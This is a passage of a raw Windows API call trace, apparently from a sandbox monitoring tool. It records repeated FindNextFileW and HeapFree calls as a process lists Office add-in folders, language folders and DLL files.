ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0064.823] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0064.823] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0064.825] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0064.825] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0064.828] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0064.828] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458770a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0064.830] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0064.830] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0064.833] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0064.833] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0064.835] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0064.835] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0064.837] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0064.837] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0f23aa6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0064.840] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0064.840] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0064.842] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0064.842] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0064.852] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0064.852] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Interop.MSDASC.dll", cAlternateFileName="INTERO~1.DLL")) returned 1 [0064.855] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0064.855] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0064.857] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0064.857] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1 [0065.076] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0065.076] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0065.079] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0065.079] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0065.081] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0065.081] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0065.083] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0065.083] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x164c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MDXQueryGenerator.DLL", cAlternateFileName="MDXQUE~1.DLL")) returned 1 [0065.086] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0065.086] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03d07a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167f56e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0065.088] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0065.088] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0065.090] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0065.090] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ad675f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ad675f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5ad675f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.DLL", cAlternateFileName="")) returned 1 [0065.092] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0065.092] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.dll", cAlternateFileName="POWERP~1.DLL")) returned 1 [0065.095] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0065.095] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0065.097] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0065.097] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae48f06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae48f06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae6f174, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x174c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0065.320] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.320] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefee59ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1026", cAlternateFileName="")) returned 1 [0065.320] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.320] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1755c61, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="10266", cAlternateFileName="")) returned 1 [0065.320] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.320] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1027", cAlternateFileName="")) returned 1 [0065.321] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.321] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1028", cAlternateFileName="")) returned 1 [0065.321] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.321] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1029", cAlternateFileName="")) returned 1 [0065.321] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.321] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf7a22a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1030", cAlternateFileName="")) returned 1 [0065.321] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.321] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1031", cAlternateFileName="")) returned 1 [0065.322] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.322] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e6a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51e6a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51e6a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1032", cAlternateFileName="")) returned 1 [0065.322] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.322] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42fef17, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0065.322] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.322] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1035", cAlternateFileName="")) returned 1 [0065.322] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.322] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1 [0065.323] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.323] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1037", cAlternateFileName="")) returned 1 [0065.323] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.323] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88e2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1038", cAlternateFileName="")) returned 1 [0065.323] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.323] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1040", cAlternateFileName="")) returned 1 [0065.323] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.323] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1041", cAlternateFileName="")) returned 1 [0065.325] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.325] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf048f354, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf048f354, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf048f354, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1042", cAlternateFileName="")) returned 1 [0065.325] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.325] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1043", cAlternateFileName="")) returned 1 [0065.325] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0065.325] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, 